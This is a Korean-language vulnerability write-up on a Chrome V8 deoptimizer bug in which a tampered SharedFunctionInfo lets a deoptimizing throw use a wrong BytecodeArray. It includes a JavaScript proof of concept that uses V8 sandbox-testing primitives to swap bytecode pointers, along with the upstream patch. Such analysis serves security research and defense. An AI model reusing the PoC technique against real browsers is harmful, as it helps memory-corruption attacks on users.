[하루한줄] CRBUG 474311222 : Chrome V8에서 최적화 해제 과정 중 BytecodeArray 조작으로 인해 발생하는 Arbitrary Bytecode Execution

URL

Target

  • Chrome < 144.0.7559.96

Explain

background

V8에서 최적화는 오직 한 방향으로만 진행되는 것이 아니라 상황과 조건에 따라 최적화 되었던 코드를 다시 원본 형태로 복원하는 경우도 존재합니다. 이 과정에서 Deoptimizer::DoComputeOutputFrames() 함수를 호출하는데 이는 인터프리터가 스택 프레임 구조를 예측하고 실행 흐름을 이어갈 수 있도록 도와주는 역할을 합니다.

해당 로직은 BytecodeArray의 어느 지점에서 실행을 이어갈지 오프셋을 결정하는 것에도 연관되어 있습니다. 따라서 최적화 전/후로 동일한 결과를 얻기 위해 deoptimizer는 동일한 BytecodeArray를 가리킬 수 있도록 보증해야합니다.

root cause

해당 버그는 최적화 해제 과정 중 throw 동작을 처리할 때 존재하는 버그로 deoptimizer가 try-catch에서 catch block으로 실행 흐름을 반환할 때 발생합니다.

// src/deoptimizer/deoptimizer.cc

void Deoptimizer::DoComputeOutputFrames() {
  // ...
  } else if (deoptimizing_throw_) {
    // If we are supposed to go to the catch handler, find the catching frame
    // for the catch and make sure we only deoptimize up to that frame.
    size_t catch_handler_frame_index = count;
    for (size_t i = count; i-- > 0;) {
      catch_handler_pc_offset_ = LookupCatchHandler(
          isolate(), &(translated_state_.frames()[i]), &catch_handler_data_);
      // ...
    }

위 코드는 Deoptimizer::DoComputeOutputFrames()에서 throw를 처리하는 부분으로 반복문 내에서 LookupCatchHandler() 호출을 통해 offset 정보를 가져옵니다.

// src/deoptimizer/deoptimizer.cc

int LookupCatchHandler(Isolate* isolate, TranslatedFrame* translated_frame,
                       int* data_out) {
  switch (translated_frame->kind()) {
    case TranslatedFrame::kUnoptimizedFunction: {
      int bytecode_offset = translated_frame->bytecode_offset().ToInt();
      HandlerTable table(
          translated_frame->raw_shared_info()->GetBytecodeArray(isolate));  // [1]
      int handler_index = table.LookupHandlerIndexForRange(bytecode_offset);
      if (handler_index == HandlerTable::kNoHandlerFound) return handler_index;
      *data_out = table.GetRangeData(handler_index);
      table.MarkHandlerUsed(handler_index);
      return table.GetRangeHandler(handler_index);
    }
    case TranslatedFrame::kJavaScriptBuiltinContinuationWithCatch: {
      return 0;
    }
    default:
      break;
  }
  return -1;
}

[1] 위치를 확인하면 BytecodeArray를 가져오기 위해 translated_frame->raw_shared_info()->GetBytecodeArray() 과정이 필요합니다.

이때 raw_shared_info()는 결국 SharedFunctionInfo를 통한 간접 참조로 만약 이 값을 변조할 수 있다면 최적화 해제 후 정상적이지 않은 offset을 참조하도록 만들 수 있습니다.

poc code

아래 코드는 버그 재현을 위한 PoC 코드입니다:

// Flags: --sandbox-testing --expose-gc --allow-natives-syntax

const kHeapObjectTag = 1;
const kJSFunctionType = Sandbox.getInstanceTypeIdFor('JS_FUNCTION_TYPE');
const kSharedFunctionInfoType = Sandbox.getInstanceTypeIdFor('SHARED_FUNCTION_INFO_TYPE');
const kJSFunctionSFIOffset = Sandbox.getFieldOffset(kJSFunctionType, 'shared_function_info');
const kSharedFunctionInfoTrustedFunctionDataOffset = Sandbox.getFieldOffset(kSharedFunctionInfoType, 'trusted_function_data');

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

function getPtr(obj) {
  return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getField(obj, offset) {
  return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setField(obj, offset, value) {
  memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}

// Target function to optimize and deoptimize.
function f(should_deopt) {
  try {
    if (should_deopt) {
      trigger();
    }
  } catch(e) {
    return 1;
  }
  return 0;
}

function trigger() {
  // The %DeoptimizeFunction here seems to be necessary to force deoptimization
  // on the `throw`, which is itself needed to trigger the bug.
  %DeoptimizeFunction(f);
  throw "boom";
}

// Dummy function to provide a different BytecodeArray.
// This needs to be somewhat large and have a try-catch to pass some CHECKs during deopt.
let g_body = `
  try {
    let x = 0;
    ${"x++;".repeat(500)}
    return x;
  } catch(e) {
    return 0;
  }
`;
const g = new Function(g_body);

%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(g);
f(false);
g();

%OptimizeFunctionOnNextCall(f);
f(false);

// Swap the trusted_function_data (pointing to the BytecodeArray) in f's SFI with that of g's SFI.
let f_sfi = getField(getPtr(f), kJSFunctionSFIOffset);
let g_sfi = getField(getPtr(g), kJSFunctionSFIOffset);
let g_tfd = getField(g_sfi, kSharedFunctionInfoTrustedFunctionDataOffset);
setField(f_sfi, kSharedFunctionInfoTrustedFunctionDataOffset, g_tfd);

// Trigger the crash.
f(true);

Patch

해당 버그는 raw_shared_info()를 거치지 않고 직접 BytecodeArray를 참조하는 식으로 수정되었습니다:

// src/deoptimizer/deoptimizer.cc

int LookupCatchHandler(Isolate* isolate, TranslatedFrame* translated_frame,
                       int* data_out) {
  switch (translated_frame->kind()) {
    case TranslatedFrame::kUnoptimizedFunction: {
      int bytecode_offset = translated_frame->bytecode_offset().ToInt();
      HandlerTable table(translated_frame->raw_bytecode_array()); // After
	// ...

After 내용을 확인하면 translated_frame->raw_bytecode_array()로 변경된 것을 확인할 수 있습니다.

Reference